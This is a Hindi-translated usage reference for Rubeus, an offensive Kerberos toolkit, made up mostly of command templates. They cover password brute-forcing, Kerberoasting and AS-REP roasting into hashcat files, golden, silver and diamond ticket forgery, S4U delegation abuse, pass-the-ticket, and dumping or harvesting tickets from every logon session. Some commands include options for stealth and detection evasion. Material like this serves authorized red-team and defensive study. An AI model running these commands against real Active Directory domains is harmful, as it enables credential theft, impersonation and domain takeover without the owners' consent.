
तीन सिर वाले कुत्ते को वश में करने की कोशिश कर रहा है।
Rubeus एक C# टूलसेट है जो कच्चे Kerberos इंटरैक्शन और दुरुपयोग के लिए है। यह काफी हद तक Benjamin Delpy के Kekeo प्रोजेक्ट (CC BY-NC-SA 4.0 लाइसेंस) और Vincent LE TOUX के MakeMeEnterpriseAdmin प्रोजेक्ट (GPL v3.0 लाइसेंस) से अनुकूलित है। पूरा श्रेय Benjamin और Vincent को जाता है जिन्होंने वीपनाइज़ेशन के कठिन घटकों को हल किया – उनके पिछले काम के बिना यह प्रोजेक्ट मौजूद नहीं होता।
Charlie Clark और Ceri Coburn दोनों ने Rubeus कोडबेस में सह-डेवलपर्स के रूप में महत्वपूर्ण योगदान दिया है। Elad Shamir ने रिसोर्स-आधारित प्रतिबंधित प्रतिनिधित्व (resource-based constrained delegation) के लिए आवश्यक कार्य का योगदान दिया। उनके काम की बहुत सराहना की जाती है!
Rubeus एक C# ASN.1 पार्सिंग/एन्कोडिंग लाइब्रेरी का भी उपयोग करता है जो Thomas Pornin द्वारा DDer नाम से बनाई गई थी और इसे "MIT-जैसे" लाइसेंस के तहत जारी किया गया था। उनके स्वच्छ और स्थिर कोड के लिए Thomas को बहुत-बहुत धन्यवाद!
PKINIT कोड काफी हद तक @SteveSyfuhs के Bruce टूल से अनुकूलित किया गया है। Bruce ने RFC4556 (PKINIT) को समझना बहुत आसान बना दिया। Steve को बहुत-बहुत धन्यवाद!
Kerberos PAC के लिए NDR एन्कोडिंग और डिकोडिंग NtApiDotNet लाइब्रेरी पर आधारित है जो @tiraniddo से है, आपका धन्यवाद James।
Kerberoasting के लिए KerberosRequestorSecurityToken.GetRequest विधि PowerView में योगदान की गई थी (और फिर Rubeus में शामिल की गई) @machosec द्वारा।
@harmj0y इस कोड बेस के प्रमुख लेखक हैं।
Rubeus को BSD 3-Clause लाइसेंस के तहत लाइसेंस प्राप्त है।
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v2.3.3
टिकट अनुरोध और नवीनीकरण:
उपयोगकर्ता पासवर्ड/हैश के आधार पर TGT प्राप्त करें, वैकल्पिक रूप से फ़ाइल में सहेजें या वर्तमान लॉगऑन सत्र या विशिष्ट LUID पर लागू करें:
Rubeus.exe asktgt /user:USER </password:PASSWORD [/enctype:DES|RC4|AES128|AES256] | /des:HASH | /rc4:HASH | /aes128:HASH | /aes256:HASH> [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/outfile:FILENAME] [/ptt] [/luid] [/nowrap] [/opsec] [/nopac] [/proxyurl:https://KDC_PROXY/kdcproxy] [/suppenctype:DES|RC4|AES128|AES256]
उपयोगकर्ता पासवर्ड/हैश के आधार पर TGT प्राप्त करें, वैकल्पिक रूप से फ़ाइल में सहेजें या वर्तमान लॉगऑन सत्र या विशिष्ट LUID पर लागू करें:
Rubeus.exe asktgt /user:USER </password:PASSWORD [/enctype:DES|RC4|AES128|AES256] | /des:HASH | /rc4:HASH | /aes128:HASH | /aes256:HASH> [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/outfile:FILENAME] [/ptt] [/luid] [/nowrap] [/opsec] [/nopac] [/proxyurl:https://KDC_PROXY/kdcproxy] [/suppenctype:DES|RC4|AES128|AES256]
उपयोगकर्ता पासवर्ड/हैश के आधार पर TGT प्राप्त करें, /netonly प्रक्रिया शुरू करें, और टिकट को नई प्रक्रिया/लॉगऑन सत्र पर लागू करें:
Rubeus.exe asktgt /user:USER </password:PASSWORD [/enctype:DES|RC4|AES128|AES256] | /des:HASH | /rc4:HASH | /aes128:HASH | /aes256:HASH> /createnetonly:C:\Windows\System32\cmd.exe [/show] [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/nowrap] [/opsec] [/nopac] [/proxyurl:https://KDC_PROXY/kdcproxy] [/suppenctype:DES|RC4|AES128|AES256]
PCKS12 प्रमाणपत्र का उपयोग करके TGT प्राप्त करें, /netonly प्रक्रिया शुरू करें, और टिकट को नई प्रक्रिया/लॉगऑन सत्र पर लागू करें:
Rubeus.exe asktgt /user:USER /certificate:C:\temp\leaked.pfx </password:STOREPASSWORD> /createnetonly:C:\Windows\System32\cmd.exe [/getcredentials] [/servicekey:KRBTGTKEY] [/show] [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/nowrap] [/proxyurl:https://KDC_PROXY/kdcproxy] [/suppenctype:DES|RC4|AES128|AES256]
उपयोगकर्ता की कीस्टोर (स्मार्टकार्ड) से प्रमाणपत्र का उपयोग करके TGT प्राप्त करें, प्रमाणपत्र थंबप्रिंट या विषय निर्दिष्ट करें, /netonly प्रक्रिया शुरू करें, और टिकट को नई प्रक्रिया/लॉगऑन सत्र पर लागू करें:
Rubeus.exe asktgt /user:USER /certificate:f063e6f4798af085946be6cd9d82ba3999c7ebac /createnetonly:C:\Windows\System32\cmd.exe [/show] [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/suppenctype:DES|RC4|AES128|AES256] [/nowrap]
समाप्त पासवर्ड वाले खाते को बदलने के लिए उपयुक्त TGT प्राप्त करें, changepw कमांड का उपयोग करके:
Rubeus.exe asktgt /user:USER </password:PASSWORD /changepw [/enctype:DES|RC4|AES128|AES256] | /des:HASH | /rc4:HASH | /aes128:HASH | /aes256:HASH> [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/outfile:FILENAME] [/ptt] [/luid] [/nowrap] [/opsec] [/proxyurl:https://KDC_PROXY/kdcproxy]
प्री-ऑथ डेटा भेजे बिना TGT का अनुरोध करें:
Rubeus.exe asktgt /user:USER [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/outfile:FILENAME] [/ptt] [/luid] [/nowrap] [/nopac] [/proxyurl:https://KDC_PROXY/kdcproxy] [/suppenctype:DES|RC4|AES128|AES256]
AS-REQ का उपयोग करके सेवा टिकट का अनुरोध करें:
Rubeus.exe asktgt /user:USER /service:SPN </password:PASSWORD [/enctype:DES|RC4|AES128|AES256] | /des:HASH | /rc4:HASH | /aes128:HASH | /aes256:HASH> [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/outfile:FILENAME] [/ptt] [/luid] [/nowrap] [/opsec] [/nopac] [/oldsam] [/proxyurl:https://KDC_PROXY/kdcproxy] [/suppenctype:DES|RC4|AES128|AES256]
एक या अधिक SPN के लिए सेवा टिकट प्राप्त करें, वैकल्पिक रूप से टिकट सहेजें या लागू करें:
Rubeus.exe asktgs </ticket:BASE64 | /ticket:FILE.KIRBI> </service:SPN1,SPN2,...> [/enctype:DES|RC4|AES128|AES256] [/dc:DOMAIN_CONTROLLER] [/outfile:FILENAME] [/ptt] [/nowrap] [/enterprise] [/opsec] </tgs:BASE64 | /tgs:FILE.KIRBI> [/targetdomain] [/u2u] [/targetuser] [/servicekey:PASSWORDHASH] [/asrepkey:ASREPKEY] [/proxyurl:https://KDC_PROXY/kdcproxy]
Kerberos Key List Request विकल्पों का उपयोग करके सेवा टिकट प्राप्त करें:
Rubeus.exe asktgs /keyList /service:KRBTGT_SPN </ticket:BASE64 | /ticket:FILE.KIRBI> [/enctype:DES|RC4|AES128|AES256] [/dc:DOMAIN_CONTROLLER] [/outfile:FILENAME] [/ptt] [/nowrap] [/enterprise] [/opsec] </tgs:BASE64 | /tgs:FILE.KIRBI> [/targetdomain] [/u2u] [/targetuser] [/servicekey:PASSWORDHASH] [/asrepkey:ASREPKEY] [/proxyurl:https://KDC_PROXY/kdcproxy]
डेलिगेटेड प्रबंधित सेवा खाता टिकट प्राप्त करें:
Rubeus.exe asktgs /dmsa /opsec /service:KRBTGT_SPN /targetuser:DMSA_ACCOUNT$ </ticket:BASE64 | /ticket:FILE.KIRBI> [/dc:DOMAIN_CONTROLLER_Win2025] [/outfile:FILENAME] [/ptt] [/nowrap] [/servicekey:PASSWORDHASH] [/asrepkey:ASREPKEY] [/proxyurl:https://KDC_PROXY/kdcproxy]
TGT का नवीनीकरण करें, वैकल्पिक रूप से टिकट लागू करें, सहेजें, या अपनी renew-till सीमा तक टिकट का स्वतः-नवीनीकरण करें:
Rubeus.exe renew </ticket:BASE64 | /ticket:FILE.KIRBI> [/dc:DOMAIN_CONTROLLER] [/outfile:FILENAME] [/ptt] [/autorenew] [/nowrap]
Kerberos-आधारित पासवर्ड ब्रूटफोर्स हमला करें:
Rubeus.exe brute </password:PASSWORD | /passwords:PASSWORDS_FILE> [/user:USER | /users:USERS_FILE] [/domain:DOMAIN] [/creduser:DOMAIN\\USER & /credpassword:PASSWORD] [/ou:ORGANIZATION_UNIT] [/dc:DOMAIN_CONTROLLER] [/outfile:RESULT_PASSWORD_FILE] [/noticket] [/verbose] [/nowrap]
उन खातों के लिए स्कैन करें जिन्हें प्री-ऑथेंटिकेशन की आवश्यकता नहीं है:
Rubeus.exe preauthscan /users:C:\temp\users.txt [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/proxyurl:https://KDC_PROXY/kdcproxy]
प्रतिबंधित प्रतिनिधित्व दुरुपयोग:
S4U प्रतिबंधित प्रतिनिधित्व दुरुपयोग करें:
Rubeus.exe s4u </ticket:BASE64 | /ticket:FILE.KIRBI> </impersonateuser:USER | /tgs:BASE64 | /tgs:FILE.KIRBI> /msdsspn:SERVICE/SERVER [/altservice:SERVICE] [/dc:DOMAIN_CONTROLLER] [/outfile:FILENAME] [/ptt] [/nowrap] [/opsec] [/self] [/proxyurl:https://KDC_PROXY/kdcproxy] [/createnetonly:C:\Windows\System32\cmd.exe] [/show]
Rubeus.exe s4u /user:USER </rc4:HASH | /aes256:HASH> [/domain:DOMAIN] </impersonateuser:USER | /tgs:BASE64 | /tgs:FILE.KIRBI> /msdsspn:SERVICE/SERVER [/altservice:SERVICE] [/dc:DOMAIN_CONTROLLER] [/outfile:FILENAME] [/ptt] [/nowrap] [/opsec] [/self] [/bronzebit] [/nopac] [/proxyurl:https://KDC_PROXY/kdcproxy] [/createnetonly:C:\Windows\System32\cmd.exe] [/show]
डोमेन पार S4U प्रतिबंधित प्रतिनिधित्व दुरुपयोग करें:
Rubeus.exe s4u /user:USER </rc4:HASH | /aes256:HASH> [/domain:DOMAIN] </impersonateuser:USER | /tgs:BASE64 | /tgs:FILE.KIRBI> /msdsspn:SERVICE/SERVER /targetdomain:DOMAIN.LOCAL /targetdc:DC.DOMAIN.LOCAL [/altservice:SERVICE] [/dc:DOMAIN_CONTROLLER] [/nowrap] [/self] [/nopac] [/createnetonly:C:\Windows\System32\cmd.exe] [/show]
टिकट जालसाजी:
प्रासंगिक जानकारी एकत्र करने के लिए LDAP का उपयोग करके गोल्डन टिकट बनाएं:
Rubeus.exe golden </des:HASH | /rc4:HASH | /aes128:HASH | /aes256:HASH> </user:USERNAME> /ldap [/printcmd] [outfile:FILENAME] [/ptt]
प्रासंगिक जानकारी एकत्र करने के लिए LDAP का उपयोग करके गोल्डन टिकट बनाएं, लेकिन कुछ मानों को स्पष्ट रूप से ओवरराइड करें:
Rubeus.exe golden </des:HASH | /rc4:HASH | /aes128:HASH | /aes256:HASH> </user:USERNAME> /ldap [/dc:DOMAIN_CONTROLLER] [/domain:DOMAIN] [/netbios:NETBIOS_DOMAIN] [/sid:DOMAIN_SID] [/dispalyname:PAC_FULL_NAME] [/badpwdcount:INTEGER] [/flags:TICKET_FLAGS] [/uac:UAC_FLAGS] [/groups:GROUP_IDS] [/pgid:PRIMARY_GID] [/homedir:HOMEDIR] [/homedrive:HOMEDRIVE] [/id:USER_ID] [/logofftime:LOGOFF_TIMESTAMP] [/lastlogon:LOGON_TIMESTAMP] [/logoncount:INTEGER] [/passlastset:PASSWORD_CHANGE_TIMESTAMP] [/maxpassage:RELATIVE_TO_PASSLASTSET] [/minpassage:RELATIVE_TO_PASSLASTSET] [/profilepath:PROFILE_PATH] [/scriptpath:LOGON_SCRIPT_PATH] [/sids:EXTRA_SIDS] [[/resourcegroupsid:RESOURCEGROUPS_SID] [/resourcegroups:GROUP_IDS]] [/authtime:AUTH_TIMESTAMP] [/starttime:Start_TIMESTAMP] [/endtime:RELATIVE_TO_STARTTIME] [/renewtill:RELATIVE_TO_STARTTIME] [/rangeend:RELATIVE_TO_STARTTIME] [/rangeinterval:RELATIVE_INTERVAL] [/oldpac] [/extendedupndns] [/printcmd] [outfile:FILENAME] [/ptt]
मानों को स्पष्ट रूप से सेट करके गोल्डन टिकट बनाएं:
Rubeus.exe golden </des:HASH | /rc4:HASH | /aes128:HASH | /aes256:HASH> </user:USERNAME> </domain:DOMAIN> </sid:DOMAIN_SID> [/dc:DOMAIN_CONTROLLER] [/netbios:NETBIOS_DOMAIN] [/dispalyname:PAC_FULL_NAME] [/badpwdcount:INTEGER] [/flags:TICKET_FLAGS] [/uac:UAC_FLAGS] [/groups:GROUP_IDS] [/pgid:PRIMARY_GID] [/homedir:HOMEDIR] [/homedrive:HOMEDRIVE] [/id:USER_ID] [/logofftime:LOGOFF_TIMESTAMP] [/lastlogon:LOGON_TIMESTAMP] [/logoncount:INTEGER] [/passlastset:PASSWORD_CHANGE_TIMESTAMP] [/maxpassage:RELATIVE_TO_PASSLASTSET] [/minpassage:RELATIVE_TO_PASSLASTSET] [/profilepath:PROFILE_PATH] [/scriptpath:LOGON_SCRIPT_PATH] [/sids:EXTRA_SIDS] [[/resourcegroupsid:RESOURCEGROUPS_SID] [/resourcegroups:GROUP_IDS]] [/authtime:AUTH_TIMESTAMP] [/starttime:Start_TIMESTAMP] [/endtime:RELATIVE_TO_STARTTIME] [/renewtill:RELATIVE_TO_STARTTIME] [/rangeend:RELATIVE_TO_STARTTIME] [/rangeinterval:RELATIVE_INTERVAL] [/oldpac] [/extendedupndns] [/printcmd] [outfile:FILENAME] [/ptt]
प्रासंगिक जानकारी एकत्र करने के लिए LDAP का उपयोग करके सिल्वर टिकट बनाएं:
Rubeus.exe silver </des:HASH | /rc4:HASH | /aes128:HASH | /aes256:HASH> </user:USERNAME> </service:SPN> /ldap [/extendedupndns] [/nofullpacsig] [/printcmd] [outfile:FILENAME] [/ptt]
KRBTGT कुंजी का उपयोग करके KDCChecksum और TicketChecksum की गणना करते हुए, प्रासंगिक जानकारी एकत्र करने के लिए LDAP का उपयोग करके सिल्वर टिकट बनाएं:
Rubeus.exe silver </des:HASH | /rc4:HASH | /aes128:HASH | /aes256:HASH> </user:USERNAME> </service:SPN> /ldap </krbkey:HASH> [/krbenctype:DES|RC4|AES128|AES256] [/extendedupndns] [/nofullpacsig] [/printcmd] [outfile:FILENAME] [/ptt]
प्रासंगिक जानकारी एकत्र करने के लिए LDAP का उपयोग करके सिल्वर टिकट बनाएं, लेकिन कुछ मानों को स्पष्ट रूप से ओवरराइड करें:
Rubeus.exe silver </des:HASH | /rc4:HASH | /aes128:HASH | /aes256:HASH> </user:USERNAME> </service:SPN> /ldap [/dc:DOMAIN_CONTROLLER] [/domain:DOMAIN] [/netbios:NETBIOS_DOMAIN] [/sid:DOMAIN_SID] [/dispalyname:PAC_FULL_NAME] [/badpwdcount:INTEGER] [/flags:TICKET_FLAGS] [/uac:UAC_FLAGS] [/groups:GROUP_IDS] [/pgid:PRIMARY_GID] [/homedir:HOMEDIR] [/homedrive:HOMEDRIVE] [/id:USER_ID] [/logofftime:LOGOFF_TIMESTAMP] [/lastlogon:LOGON_TIMESTAMP] [/logoncount:INTEGER] [/passlastset:PASSWORD_CHANGE_TIMESTAMP] [/maxpassage:RELATIVE_TO_PASSLASTSET] [/minpassage:RELATIVE_TO_PASSLASTSET] [/profilepath:PROFILE_PATH] [/scriptpath:LOGON_SCRIPT_PATH] [/sids:EXTRA_SIDS] [[/resourcegroupsid:RESOURCEGROUPS_SID] [/resourcegroups:GROUP_IDS]] [/authtime:AUTH_TIMESTAMP] [/starttime:Start_TIMESTAMP] [/endtime:RELATIVE_TO_STARTTIME] [/renewtill:RELATIVE_TO_STARTTIME] [/rangeend:RELATIVE_TO_STARTTIME] [/rangeinterval:RELATIVE_INTERVAL] [/authdata] [/extendedupndns] [/nofullpacsig] [/printcmd] [outfile:FILENAME] [/ptt]
S4U प्रतिनिधित्व जानकारी PAC अनुभाग शामिल करते हुए, प्रासंगिक जानकारी एकत्र करने के लिए LDAP का उपयोग करके सिल्वर टिकट बनाएं:
Rubeus.exe silver </des:HASH | /rc4:HASH | /aes128:HASH | /aes256:HASH> </user:USERNAME> </service:SPN> /ldap [/s4uproxytarget:TARGETSPN] [/s4utransitedservices:SPN1,SPN2,...] [/printcmd] [outfile:FILENAME] [/ptt]
अलग cname और crealm सेट करते हुए, प्रासंगिक जानकारी एकत्र करने के लिए LDAP का उपयोग करके सिल्वर टिकट बनाएं:
Rubeus.exe silver </des:HASH | /rc4:HASH | /aes128:HASH | /aes256:HASH> </user:USERNAME> </service:SPN> /ldap [/cname:CLIENTNAME] [/crealm:CLIENTDOMAIN] [/printcmd] [outfile:FILENAME] [/ptt]
मानों को स्पष्ट रूप से सेट करके सिल्वर टिकट बनाएं:
Rubeus.exe silver </des:HASH | /rc4:HASH | /aes128:HASH | /aes256:HASH> </user:USERNAME> </service:SPN> </domain:DOMAIN> </sid:DOMAIN_SID> [/dc:DOMAIN_CONTROLLER] [/netbios:NETBIOS_DOMAIN] [/dispalyname:PAC_FULL_NAME] [/badpwdcount:INTEGER] [/flags:TICKET_FLAGS] [/uac:UAC_FLAGS] [/groups:GROUP_IDS] [/pgid:PRIMARY_GID] [/homedir:HOMEDIR] [/homedrive:HOMEDRIVE] [/id:USER_ID] [/logofftime:LOGOFF_TIMESTAMP] [/lastlogon:LOGON_TIMESTAMP] [/logoncount:INTEGER] [/passlastset:PASSWORD_CHANGE_TIMESTAMP] [/maxpassage:RELATIVE_TO_PASSLASTSET] [/minpassage:RELATIVE_TO_PASSLASTSET] [/profilepath:PROFILE_PATH] [/scriptpath:LOGON_SCRIPT_PATH] [/sids:EXTRA_SIDS] [[/resourcegroupsid:RESOURCEGROUPS_SID] [/resourcegroups:GROUP_IDS]] [/authtime:AUTH_TIMESTAMP] [/starttime:Start_TIMESTAMP] [/endtime:RELATIVE_TO_STARTTIME] [/renewtill:RELATIVE_TO_STARTTIME] [/rangeend:RELATIVE_TO_STARTTIME] [/rangeinterval:RELATIVE_INTERVAL] [/authdata] [/cname:CLIENTNAME] [/crealm:CLIENTDOMAIN] [/s4uproxytarget:TARGETSPN] [/s4utransitedservices:SPN1,SPN2,...] [/extendedupndns] [/nofullpacsig] [/printcmd] [outfile:FILENAME] [/ptt]
उपयोगकर्ता पासवर्ड/हैश के आधार पर TGT का अनुरोध करके डायमंड TGT बनाएं:
Rubeus.exe diamond /user:USER </password:PASSWORD [/enctype:DES|RC4|AES128|AES256] | /des:HASH | /rc4:HASH | /aes128:HASH | /aes256:HASH> [/createnetonly:C:\Windows\System32\cmd.exe] [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/outfile:FILENAME] [/ptt] [/luid] [/nowrap] [/krbkey:HASH] [/ticketuser:USERNAME] [/ticketuserid:USER_ID] [/groups:GROUP_IDS] [/sids:EXTRA_SIDS]
PCKS12 प्रमाणपत्र का उपयोग करके TGT का अनुरोध करके डायमंड TGT बनाएं:
Rubeus.exe diamond /user:USER /certificate:C:\temp\leaked.pfx </password:STOREPASSWORD> [/createnetonly:C:\Windows\System32\cmd.exe] [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/outfile:FILENAME] [/ptt] [/luid] [/nowrap] [/krbkey:HASH] [/ticketuser:USERNAME] [/ticketuserid:USER_ID] [/groups:GROUP_IDS] [/sids:EXTRA_SIDS]
tgtdeleg का उपयोग करके TGT का अनुरोध करके डायमंड TGT बनाएं:
Rubeus.exe diamond /tgtdeleg [/createnetonly:C:\Windows\System32\cmd.exe] [/outfile:FILENAME] [/ptt] [/luid] [/nowrap] [/krbkey:HASH] [/ticketuser:USERNAME] [/ticketuserid:USER_ID] [/groups:GROUP_IDS] [/sids:EXTRA_SIDS]
टिकट प्रबंधन:
TGT सबमिट करें, वैकल्पिक रूप से विशिष्ट LUID लक्षित करें (यदि एलिवेटेड हो):
Rubeus.exe ptt </ticket:BASE64 | /ticket:FILE.KIRBI> [/luid:LOGINID]
वर्तमान लॉगऑन सत्र से टिकट हटाएं, वैकल्पिक रूप से विशिष्ट LUID लक्षित करें (यदि एलिवेटेड हो):
Rubeus.exe purge [/luid:LOGINID]
एक टिकट (सेवा टिकट या TGT) पार्स और वर्णन करें:
Rubeus.exe describe </ticket:BASE64 | /ticket:FILE.KIRBI> [/servicekey:HASH] [/krbkey:HASH] [/asrepkey:HASH] [/serviceuser:USERNAME] [/servicedomain:DOMAIN] [/desplaintext:FIRSTBLOCKTEXT]
टिकट निष्कर्षण और संग्रह:
सभी वर्तमान टिकटों का ट्रायेज करें (यदि एलिवेटेड हो, सभी उपयोगकर्ताओं के लिए सूची), वैकल्पिक रूप से विशिष्ट LUID, उपयोगकर्ता नाम, या सेवा लक्षित करें:
Rubeus.exe triage [/luid:LOGINID] [/user:USER] [/service:krbtgt] [/server:BLAH.DOMAIN.COM]
सभी वर्तमान टिकटों को विस्तार से सूचीबद्ध करें (यदि एलिवेटेड हो, सभी उपयोगकर्ताओं के लिए सूची), वैकल्पिक रूप से विशिष्ट LUID लक्षित करें:
Rubeus.exe klist [/luid:LOGINID] [/user:USER] [/service:krbtgt] [/server:BLAH.DOMAIN.COM]
सभी वर्तमान टिकट डेटा डंप करें (यदि एलिवेटेड हो, सभी उपयोगकर्ताओं के लिए डंप), वैकल्पिक रूप से विशिष्ट सेवा/LUID लक्षित करें:
Rubeus.exe dump [/luid:LOGINID] [/user:USER] [/service:krbtgt] [/server:BLAH.DOMAIN.COM] [/nowrap]
वर्तमान उपयोगकर्ता के लिए एक उपयोगी TGT .kirbi (सत्र कुंजी सहित) बिना एलिवेशन के प्राप्त करें, Kerberos GSS-API का दुरुपयोग करके, प्रतिनिधित्व का नकली करें:
Rubeus.exe tgtdeleg [/target:SPN]हर /interval सेकंड (डिफ़ॉल्ट 60) में नए TGTs की निगरानी करें:
Rubeus.exe monitor [/interval:सेकंड] [/targetuser:उपयोगकर्ता] [/nowrap] [/registry:सॉफ्टवेयरनाम] [/runfor:सेकंड]
हर /monitorinterval सेकंड (डिफ़ॉल्ट 60) में नए TGTs की निगरानी करें, TGTs को स्वतः नवीनीकृत करें, और हर /displayinterval सेकंड (डिफ़ॉल्ट 1200) में कार्यशील कैश प्रदर्शित करें:
Rubeus.exe harvest [/monitorinterval:सेकंड] [/displayinterval:सेकंड] [/targetuser:उपयोगकर्ता] [/nowrap] [/registry:सॉफ्टवेयरनाम] [/runfor:सेकंड]
रोस्टिंग:
केरबेरोस्टिंग करें:
Rubeus.exe kerberoast [[/spn:"ब्लाह/ब्लाह"] | [/spns:C:\temp\spns.txt]] [/user:उपयोगकर्ता] [/domain:डोमेन] [/dc:डोमेन_नियंत्रक] [/ou:"OU=,..."] [/ldaps] [/nowrap]
केरबेरोस्टिंग करें, हैश को एक फ़ाइल में आउटपुट करें:
Rubeus.exe kerberoast /outfile:hashes.txt [[/spn:"ब्लाह/ब्लाह"] | [/spns:C:\temp\spns.txt]] [/user:उपयोगकर्ता] [/domain:डोमेन] [/dc:डोमेन_नियंत्रक] [/ou:"OU=,..."] [/ldaps]
केरबेरोस्टिंग करें, हैश को फ़ाइल आउटपुट प्रारूप में लेकिन कंसोल पर आउटपुट करें:
Rubeus.exe kerberoast /simple [[/spn:"ब्लाह/ब्लाह"] | [/spns:C:\temp\spns.txt]] [/user:उपयोगकर्ता] [/domain:डोमेन] [/dc:डोमेन_नियंत्रक] [/ou:"OU=,..."] [/ldaps] [/nowrap]
वैकल्पिक क्रेडेंशियल्स के साथ केरबेरोस्टिंग करें:
Rubeus.exe kerberoast /creduser:DOMAIN.FQDN\USER /credpassword:पासवर्ड [/spn:"ब्लाह/ब्लाह"] [/user:उपयोगकर्ता] [/domain:डोमेन] [/dc:डोमेन_नियंत्रक] [/ou:"OU=,..."] [/ldaps] [/nowrap]
मौजूदा TGT के साथ केरबेरोस्टिंग करें:
Rubeus.exe kerberoast </spn:"ब्लाह/ब्लाह" | /spns:C:\temp\spns.txt> </ticket:BASE64 | /ticket:FILE.KIRBI> [/nowrap]
एंटरप्राइज़ प्रिंसिपल का उपयोग करके मौजूदा TGT के साथ केरबेरोस्टिंग करें:
Rubeus.exe kerberoast </spn:[email protected] | /spns:[email protected],[email protected]> /enterprise </ticket:BASE64 | /ticket:FILE.KIRBI> [/nowrap]
मौजूदा TGT के साथ केरबेरोस्टिंग करें और यदि कोई विफल हो तो एंटरप्राइज़ प्रिंसिपल के साथ स्वतः पुनः प्रयास करें:
Rubeus.exe kerberoast </ticket:BASE64 | /ticket:FILE.KIRBI> /autoenterprise [/ldaps] [/nowrap]
सेवा टिकटों का अनुरोध करने के लिए tgtdeleg टिकट का उपयोग करके केरबेरोस्टिंग करें - AES खातों के लिए RC4 का अनुरोध करता है:
Rubeus.exe kerberoast /usetgtdeleg [/ldaps] [/nowrap]
"opsec" केरबेरोस्टिंग करें, tgtdeleg का उपयोग करें, और AES-सक्षम खातों को फ़िल्टर करें:
Rubeus.exe kerberoast /rc4opsec [/ldaps] [/nowrap]
वास्तव में टिकट अनुरोध भेजे बिना प्राप्त केरबेरोस्टेबल खातों के बारे में आँकड़े सूचीबद्ध करें:
Rubeus.exe kerberoast /stats [/ldaps] [/nowrap]
केरबेरोस्टिंग करें, केवल उन खातों के लिए टिकट का अनुरोध करें जिनकी admin count 1 है (कस्टम LDAP फ़िल्टर):
Rubeus.exe kerberoast /ldapfilter:'admincount=1' [/ldaps] [/nowrap]
केरबेरोस्टिंग करें, केवल उन खातों के लिए टिकट का अनुरोध करें जिनका पासवर्ड अंतिम बार 01-31-2005 और 03-29-2010 के बीच सेट किया गया था, अधिकतम 5 सेवा टिकट लौटाएँ:
Rubeus.exe kerberoast /pwdsetafter:01-31-2005 /pwdsetbefore:03-29-2010 /resultlimit:5 [/ldaps] [/nowrap]
केरबेरोस्टिंग करें, 5000 मिलीसेकंड की देरी और 30% जिटर के साथ:
Rubeus.exe kerberoast /delay:5000 /jitter:30 [/ldaps] [/nowrap]
AES केरबेरोस्टिंग करें:
Rubeus.exe kerberoast /aes [/ldaps] [/nowrap]
बिना प्री-ऑथ वाले खाते का उपयोग करके AS-REQ भेजकर केरबेरोस्टिंग करें:
Rubeus.exe kerberoast </spn:"ब्लाह/ब्लाह" | /spns:C:\temp\spns.txt> /nopreauth:उपयोगकर्ता /domain:डोमेन [/dc:डोमेन_नियंत्रक] [/nowrap]
बिना preauth वाले किसी भी उपयोगकर्ता के लिए AS-REP "रोस्टिंग" करें:
Rubeus.exe asreproast [/user:उपयोगकर्ता] [/domain:डोमेन] [/dc:डोमेन_नियंत्रक] [/ou:"OU=,..."] [/ldaps] [/des] [/nowrap]
बिना preauth वाले किसी भी उपयोगकर्ता के लिए AS-REP "रोस्टिंग" करें, Hashcat प्रारूप को एक फ़ाइल में आउटपुट करें:
Rubeus.exe asreproast /outfile:hashes.txt /format:hashcat [/user:उपयोगकर्ता] [/domain:डोमेन] [/dc:डोमेन_नियंत्रक] [/ou:"OU=,..."] [/ldaps] [/des]
वैकल्पिक क्रेडेंशियल्स का उपयोग करके बिना preauth वाले किसी भी उपयोगकर्ता के लिए AS-REP "रोस्टिंग" करें:
Rubeus.exe asreproast /creduser:DOMAIN.FQDN\USER /credpassword:पासवर्ड [/user:उपयोगकर्ता] [/domain:डोमेन] [/dc:डोमेन_नियंत्रक] [/ou:"OU,..."] [/ldaps] [/des] [/nowrap]
विविध:
/show पास न करने पर यादृच्छिक /netonly क्रेडेंशियल्स के साथ एक छिपा हुआ प्रोग्राम बनाएँ, PID और LUID प्रदर्शित करें:
Rubeus.exe createnetonly /program:"C:\Windows\System32\cmd.exe" [/show] [/ticket:BASE64 | /ticket:FILE.KIRBI]
प्रदान किए गए TGT से उपयोगकर्ता का पासवर्ड रीसेट करें (AoratoPw):
Rubeus.exe changepw </ticket:BASE64 | /ticket:FILE.KIRBI> /new:पासवर्ड [/dc:डोमेन_नियंत्रक] [/targetuser:DOMAIN\USERNAME]
rc4_hmac, aes128_cts_hmac_sha1, aes256_cts_hmac_sha1, और des_cbc_md5 हैश की गणना करें:
Rubeus.exe hash /password:X [/user:उपयोगकर्ता] [/domain:डोमेन]
किसी मौजूदा सेवा टिकट में sname या SPN बदलें:
Rubeus.exe tgssub </ticket:BASE64 | /ticket:FILE.KIRBI> /altservice:ldap [/srealm:डोमेन] [/ptt] [/luid] [/nowrap]
Rubeus.exe tgssub </ticket:BASE64 | /ticket:FILE.KIRBI> /altservice:cifs/computer.domain.com [/srealm:डोमेन] [/ptt] [/luid] [/nowrap]
वर्तमान उपयोगकर्ता का LUID प्रदर्शित करें:
Rubeus.exe currentluid
(वर्तमान) या (लक्ष्य) लॉगऑन सत्र के बारे में जानकारी प्रदर्शित करें, डिफ़ॉल्ट रूप से सभी पठनीय:
Rubeus.exe logonsession [/current] [/luid:X]
"/consoleoutfile:C:\FILE.txt" तर्क सभी कंसोल आउटपुट को निर्दिष्ट फ़ाइल पर रीडायरेक्ट करता है।
"/nowrap" फ़्लैग किसी भी फ़ंक्शन के लिए किसी भी base64 टिकट ब्लॉब को कॉलम रैप होने से रोकता है।
"/debug" फ़्लैग ASN.1 डीबगिंग जानकारी आउटपुट करता है।
AS-REP और एक कुंजी को Kirbi में बदलें:
Rubeus.exe asrep2kirbi /asrep:<BASE64 | FILEPATH> </key:BASE64 | /keyhex:HEXSTRING> [/enctype:DES|RC4|AES128|AES256] [/ptt] [/luid:X] [/nowrap]
